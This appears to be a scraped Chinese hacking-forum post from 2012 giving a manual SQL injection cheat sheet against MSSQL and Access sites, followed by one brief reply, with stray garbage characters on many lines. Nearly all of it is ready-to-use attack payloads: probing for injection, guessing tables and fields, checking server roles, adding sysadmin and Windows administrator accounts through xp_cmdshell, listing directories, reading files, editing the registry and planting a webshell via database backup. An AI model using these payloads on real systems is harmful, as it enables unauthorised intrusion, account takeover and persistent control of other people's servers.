找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2279|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
手工脚本注入 & c8 W$ \% Y' q3 E5 {3 g; _
1.判断是否有注入;and 1=1 ;and 1=2 7 h" E1 v; G' |: m
; J8 d( a. {; |" U
2.初步判断是否是mssql ;and user>0
9 M! x1 v& l$ R4 A5 K& Z6 U/ Q' P1 ~
3.注入参数是字符'and [查询条件] and ''='
; d9 C1 ~3 Y& Y* {; ^, h6 t5 A8 W1 r8 T3 u: d; A" m
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ) J' h; q( i6 ?0 ]2 T3 P5 O

0 S% {) d9 M- @, R5.判断数据库系统
- f' E6 p& L  Z4 G& S9 o$ |;and (select count(*) from sysobjects)>0 mssql 5 p$ Y: h' W  D1 J6 J
;and (select count(*) from msysobjects)>0 access 5 e0 o9 _* Q  _1 E( g
4 U! a9 ~/ F6 ]. i2 T
6.猜数据库 ;and (select Count(*) from [数据库名])>0
0 X( W- p0 n5 Y/ k' N4 {4 A) `$ F$ N
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 9 s8 S% @  g5 ?1 j$ y& ?$ L9 X
1 L/ W/ W. S! s3 b! s% s% g1 z2 x7 e
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
& l6 W9 P: J1 g$ T8 i
# Y! _" V+ D: p3 L9.(1)猜字段的ascii值(access) 3 g4 B+ X5 l: d$ L
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 % g. Q: a' a  ]% @) p1 F
: T/ t9 H- u, }' ~7 H
(2)猜字段的ascii值(mssql)
6 H2 @. L. o, J2 Z6 ~* w;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
3 q: x* k1 l) O4 A! w  C+ S6 T( I6 k% x5 Q) O2 R& p
10.测试权限结构(mssql)
3 @) ]* S( L3 M  c& C7 t8 n;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 4 n6 S. b, V) e! m6 X# A
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
) U+ k% h& d& y& W$ w' e;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
* v# [* Y- s+ J' v- d; f1 G9 B;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
9 f! ~, r3 m1 h! a;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
( `1 [" a* y; D  s) v& x;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- m9 I- [8 M* P4 @5 A( a;and 1=(select IS_MEMBER('db_owner'));-- ! |8 n# [6 M5 G1 \
- y7 u) ?/ D8 c! p
11.添加mssql和系统的帐户
* a# [6 U- R3 G) i) @- X2 H;exec master.dbo.sp_addlogin username;--
6 l( ]; \/ d6 R; m7 M. {
2 d' a% e: k  v3 K5 [6 Y$ |( ];exec master.dbo.sp_password null,username,password;--
* I; w1 G2 e% d# Z  D0 Q5 b! ?% g/ ]+ L' k0 f, C. u! E
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
! h. ]- w) e4 q7 g$ g5 C8 ^6 A0 a# Q
; w9 j+ z9 w* p: P  K* U;exec master.dbo.xp_cmdshell 'net user username password
9 j, ~& C& V# R, q/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
* `# M6 ~: ]) |/ |$ E  a4 t
& ]( e, r0 v5 q9 A3 @4 j0 Y;exec master.dbo.xp_cmdshell 'net user username password /add';-- ; ^$ t/ K/ j/ E) x5 I. o* V2 s% ~

5 }7 c( Q$ O$ b5 Q. [6 d;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
" v5 h5 g/ t" y  \- B* W- m) b- ~
12.(1)遍历目录
/ P- I* P- P' ^; `# i7 _
$ y' o' W! w/ G' K;create table dirs(paths varchar(100), id int)
: ~$ a+ E9 K" W;insert dirs exec master.dbo.xp_dirtree 'c:\'
( ]! I( E% L" L5 n( x& r;and (select top 1 paths from dirs)>0
- u. i4 C- I* o3 D$ `6 Q1 b4 V;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) . U8 u! g% E7 e

( u( r% W: b: [$ h5 W* ~" T(2)遍历目录
- M& r& f3 S( G. ?' C( Y7 P. p;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- * A  i( o+ P& q6 m
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 8 E, B' z9 |+ p( p9 [5 M2 \# Z2 h" ]4 J
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 : T! e5 K" I- ?# e) x# S5 ]
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
0 d% F7 a: m) v. [5 |# [; J;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 2 t8 z( W6 ?  g: }

2 \! `8 e5 O5 \3 F. f% }3 |13.mssql中的存储过程 0 M+ L/ q$ B0 x

: l4 C7 k# t3 Q0 g" `- V. M$ Jxp_regenumvalues 注册表根键, 子键
/ ^8 U; J0 l4 P4 n& H;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 & z3 v; n2 h9 n3 H3 `3 {
6 l5 r$ Z# n" O6 Y
xp_regread 根键,子键,键值名
7 D: u# H4 ~9 \;exec xp_regread # g& l3 `. ?- T7 Q* Y
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ) S/ I5 x: {) N2 a" g
  g& u* E: c* g# n7 D
xp_regwrite 根键,子键, 值名, 值类型, 值 " u/ c* _2 H4 \, P/ D0 e" L
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 - _9 W( J% t+ r# i, \
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
+ h5 \+ ~  {( F
7 b7 T+ D  s6 w% txp_regdeletevalue 根键,子键,值名 - Z8 @$ T: a# d# F+ v
$ Y) M- z" i0 E, s
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
5 Z. @% I1 _  q8 r9 q5 @3 J# D5 U+ X$ i; {+ t
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 1 c5 H1 @" n. q( D, s' k

6 A% k, M" B* D14.mssql的backup创建webshell 4 ^5 N- s1 U: `: a" W
use model , y/ d! k# [. H' |
create table cmd(str image); , `& ]6 X- ~, }4 r9 r9 I
insert into cmd(str) values (''); , K2 W9 \& ]+ k+ `
backup database model to disk='c:\l.asp'; ( j4 H1 ]8 A& i8 I! P

* i$ o5 e- Q$ S* P0 {" h15.mssql内置函数 3 k6 ]  K% }, x% x/ q% `$ `
;and (select @@version)>0 获得Windows的版本号
# @0 V: w9 ?8 Y6 |+ _7 v;and user_name()='dbo' 判断当前系统的连接用户是不是sa ( Z; F; S6 U4 o! W  [% d- f
;and (select user_name())>0 爆当前系统的连接用户
( k- |8 }) N& M0 ^7 ?;and (select db_name())>0 得到当前连接的数据库 1 m5 K) I7 b- W3 v% r
. p8 b) w5 j& j' R+ D3 A4 B
16.简洁的webshell 9 j9 `* t  K% y% b7 i& s
4 ~# q6 q, r. [; N! \1 t+ d
use model
9 \1 g2 G7 z$ y' C* V: j' N# e4 D& G: \2 X& M2 z- L1 c* ~
create table cmd(str image); ( e2 A* i% @5 n+ h

: X! L7 E$ |- _$ Kinsert into cmd(str) values ('');
7 V( ~7 I6 b% Z! _6 s% |
' U$ ~! I) o2 A. |% t/ O( cbackup database model to disk='g:\wwwtest\l.asp'; $ m. @9 P+ g9 U6 r, d5 L. k

- O9 _" k- N5 ?: |8 d% }  R
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表